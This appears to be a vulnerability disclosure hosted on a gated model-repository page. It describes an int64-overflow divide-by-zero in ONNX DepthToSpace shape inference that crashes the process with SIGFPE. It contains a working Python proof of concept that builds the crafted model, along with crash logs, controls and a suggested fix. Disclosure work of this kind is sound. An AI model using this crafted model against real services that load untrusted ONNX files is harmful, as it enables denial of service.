You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

DepthToSpace shape inference SIGFPE via int64 overflow of blocksize*blocksize (divide-by-zero)

Summary

DepthToSpace's shape-inference function in ONNX validates the attacker-controlled blocksize attribute only with if (blocksize <= 0). It then computes the output channel dimension by dividing by blocksize * blocksize. blocksize is an int64_t; for blocksize = 2^32 (4294967296) the positivity guard passes, but the product blocksize * blocksize == 2^64 wraps to exactly 0 in two's-complement int64. The subsequent division of a concrete input dimension by this 0 is an integer divide-by-zero, which raises SIGFPE and terminates the process.

Loading/validating an untrusted .onnx model (shape inference or checker.check_model with full check) is therefore a denial-of-service: a single crafted model kills the host process hard (no catchable Python exception).

  • Target: onnx/onnx (ONNX standard / reference implementation)
  • Version verified: onnx 1.22.0 (pip, Linux x86_64)
  • Operator: DepthToSpace-13 (schema shared by opset 11/13)
  • Crash class: SIGFPE (integer division by zero), signal 8, exit code 136
  • Impact: Denial of service via crafted model file during shape inference / model checking

Root cause

onnx/defs/tensor/defs.cc, DepthToSpace-13 TypeAndShapeInferenceFunction:

.TypeAndShapeInferenceFunction([](InferenceContext& ctx) {
  propagateElemTypeFromInputToOutput(ctx, 0, 0);
  auto blocksize = getAttribute(ctx, "blocksize", 0);
  if (blocksize <= 0) {                                 // line 1993: only rejects <= 0
    fail_shape_inference("Blocksize must be positive");
  }
  if (hasInputShape(ctx, 0)) {
    auto& input_shape = getInputShape(ctx, 0);
    if (input_shape.dim_size() == 4) {
      updateOutputShape(
          ctx,
          0,
          {input_shape.dim(0),
           input_shape.dim(1) / (blocksize * blocksize),  // line 2003: blocksize*blocksize
           input_shape.dim(2) * blocksize,                 //   overflows int64 -> 0
           input_shape.dim(3) * blocksize});
    } else {
      fail_shape_inference("Input tensor must be 4-dimensional");
    }
  }
});

The division is performed by operator/(const TensorShapeProto::Dimension&, int64_t) in onnx/defs/shape_inference.h:242:

inline TensorShapeProto::Dimension operator/(const TensorShapeProto::Dimension& dim1, int64_t dim2) {
  TensorShapeProto::Dimension result;
  if (dim1.has_dim_value()) {
    result.set_dim_value(dim1.dim_value() / dim2);   // dim2 == 0  ->  SIGFPE
  } else if (dim2 == 1) {
    return dim1;
  }
  return result;
}

With blocksize = 4294967296:

  • blocksize > 0, so the blocksize <= 0 guard passes.
  • blocksize * blocksize = 2^64, which wraps to 0 as a signed 64-bit value.
  • The input channel dim is concrete (has_dim_value() true), so dim_value() / 0 executes and the process dies with SIGFPE.

Why SpaceToDepth is NOT affected

SpaceToDepth (same file, line ~1924) computes its output using input_shape.dim(1) * (blocksize * blocksize) and divides only by blocksize directly (dim(2) / blocksize, dim(3) / blocksize) β€” never by the squared value. The overflow-to-zero of blocksize * blocksize there feeds a multiplication, not a division, so no divide-by-zero occurs. Only DepthToSpace divides by the overflowing square.

Proof of Concept

Minimal single-node DepthToSpace model, blocksize = 4294967296, rank-4 input X with a concrete channel dim ([1,4,8,8]):

import onnx
from onnx import helper, TensorProto
import onnx.shape_inference as si

blocksize = 4294967296  # 2**32 ; > 0 (passes guard) but blocksize*blocksize overflows int64 -> 0
node = helper.make_node("DepthToSpace", ["X"], ["Y"], blocksize=blocksize, mode="DCR")
X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 4, 8, 8])
Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, None)
g = helper.make_graph([node], "d2s", [X], [Y])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
out = si.infer_shapes(m, strict_mode=True)   # process dies here with SIGFPE

Crash paths (all reproduce the SIGFPE):

  • poc.py β€” infer_shapes(strict_mode=True)
  • poc_nonstrict.py β€” infer_shapes(strict_mode=False) (default path)
  • checker_poc2.py β€” checker.check_model(m, full_check=True) where the output value_info carries a concrete shape

Negative controls (no crash, clean exit 0):

  • neg.py β€” blocksize=2 (a valid divisor) -> Y = [1, 1, 16, 16]
  • neg3.py β€” blocksize=3 (non-overflowing non-divisor) -> Y = [1, 0, 24, 24]

neg3.py is the key control: it divides 4 / 9 and completes cleanly, proving the crash is specifically the int64 overflow of blocksize * blocksize to 0, not the division operation itself.

Captured evidence (verbatim)

Environment: onnx 1.22.0, Python 3, Linux x86_64.

$ python3 poc.py ; echo EXIT $?
onnx 1.22.0 blocksize 4294967296 int64(bs*bs)= 0
calling infer_shapes(strict_mode=True)...
EXIT 136                       # 128 + 8 = killed by SIGFPE (signal 8)

Signal decode via subprocess:

infer_shapes(strict_mode=True):        returncode -8   -> killed by signal SIGFPE
infer_shapes(strict_mode=False):       returncode 136  -> SIGFPE
checker.check_model(full_check=True):  returncode -8   -> killed by signal SIGFPE

Negative controls:

$ python3 neg.py  ; echo NEG EXIT $?
OK no crash, inferred Y = [1, 1, 16, 16]
NEG EXIT: 0

$ python3 neg3.py ; echo NEG3 EXIT $?
OK no crash, inferred Y = [1, 0, 24, 24]
NEG3 EXIT: 0

Re-verification run (this packaging), same machine:

=== RUN poc.py ===
onnx 1.22.0 blocksize 4294967296 int64(bs*bs)= 0
calling infer_shapes(strict_mode=True)...
EXIT 136
=== neg.py (bs=2) ===  OK no crash, inferred Y = [1, 1, 16, 16]   EXIT 0
=== neg3.py (bs=3) === OK no crash, inferred Y = [1, 0, 24, 24]   EXIT 0
=== poc_nonstrict.py === ... EXIT 136
=== checker_poc2.py ===  calling checker.check_model(full_check=True)... EXIT 136

Suggested fix

Reject blocksize values whose square overflows (or is not representable) before the division β€” e.g. bound blocksize to a sane range, or check blocksize > 0 && blocksize <= sqrt(INT64_MAX), or guard the divisor blocksize * blocksize != 0 before dividing. More broadly, operator/ in shape_inference.h could treat dim2 == 0 as an inference failure rather than performing the hardware division.

Dedup note

  • Distinct operator from other ONNX shape-inference SIGFPE/OOB reports in this account (splittoseq, split-numoutputs, gathernd-batchdims, onehot-depth, treeensemble-leafweights, einsum-ellipsis). The root cause here is specific to DepthToSpace dividing by the squared blocksize, which overflows int64 to zero β€” a mechanism not shared by those reports.
  • SpaceToDepth, the sibling operator, is explicitly NOT affected (it multiplies by the square and divides only by the raw blocksize), which distinguishes this from a generic "divide by blocksize" class.
  • No public CVE for this specific DepthToSpace int64-overflow divide-by-zero in ONNX shape inference was found at time of writing.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support